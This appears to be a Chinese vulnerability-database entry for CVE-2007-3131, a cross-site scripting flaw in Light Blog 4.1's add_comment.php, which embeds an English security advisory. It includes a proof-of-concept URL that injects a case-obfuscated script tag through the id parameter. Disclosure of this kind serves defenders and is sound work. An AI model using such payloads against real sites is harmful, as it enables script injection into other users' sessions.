Light Blog  add_comment.php 跨站脚本攻击漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1190288 漏洞类型 跨站脚本
发布时间 2007-06-08 更新时间 2007-06-08
CVE编号 CVE-2007-3131 CNNVD-ID CNNVD-200706-134
漏洞平台 N/A CVSS评分 4.3
|漏洞来源
https://www.securityfocus.com/bid/81755
https://cxsecurity.com/issue/WLB-2007060044
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200706-134
|漏洞详情
LightBlog的add_comment.php中存在跨站脚本攻击漏洞。远程攻击者可以借助id参数,注入任意的web脚本或HTML。
|漏洞EXP
Application: Light Blog
Web Site: http://www.publicwarehouse.co.uk/php_scripts/lightblog.php
Versions: 4.1
Platform: linux, windows, freebsd, sun
Bug: Cross site Scripting (XSS)
Fix Available: Yes (fixed with the Same version number. download file now called LightBlog.zip instead of Light.zip)
Advisory File: http://www.secvsn.com/content/Advisories/sr-060607-lightblog.html
-------------------------------------------------------

1) Introduction
2) Bug
3) The Code
4) Fix
5) About Serapis
6) Disclaimer

===========
1) Introduction
===========

"Version 4 has been completely remade. 
Security flaws have been fixed and countless features have been added Light Blog 
is a blogging system which uses text files to store it's data. 
All general blog features are available, which include, comments 
(with validation code to stop spam), 
admin control panel, BBCode and emoticons, 
pages and a full set of settings editable from the admin control panel. 
Light blog can easily use the design of your website with the use of the header, 
footer and style sheet."

======
2) Bug
======

Cross Site Scripting.

===============
3) Proof of concept.
===============

example:

http://site/app_path/add_comment.php?id=>"><ScRiPt%20%0a%0d>alert(123456
7576)%3B</ScRiPt>

=====
4) Fix
=====

fillit

============
5) About Serapis.net
============

www.Serapis.net - is a portal dedicated to monitoring web defacements, 
		  tracking defacements around the world 24/7. 
		  serapis is the R&D Site of Secure Vision.

==========
6) Disclaimer
==========

The information within this paper may change without notice. 
Use of this information constitutes acceptance for use in an AS IS condition. 
There are NO warranties with regard to this information. 
In no event shall the author be liable for any damages whatsoever arising out 
of or in connection with the use or spread of this information. 
Any use of this information is at the user's own risk.

http://www.serapis.net 		  - Web Site.
http://calima.serapis.net/blogs/  - Web defacements blog.
http://www.secvsn.com		  - SecureVision Web Site
|受影响的产品
Public Warehouse Light Blog 4.1
|参考资料

来源:XF
名称:lightblog-addcomment-xss(34753)
链接:http://xforce.iss.net/xforce/xfdb/34753
来源:MISC
链接:http://www.secvsn.com/content/Advisories/sr-060607-lightblog.html
来源:BUGTRAQ
名称:20070606LightBlog4.1XSSVulnerability
链接:http://www.securityfocus.com/archive/1/archive/1/470673/100/0/threaded
来源:SREASON
名称:2783
链接:http://securityreason.com/securityalert/2783
来源:SECUNIA
名称:25561
链接:http://secunia.com/advisories/25561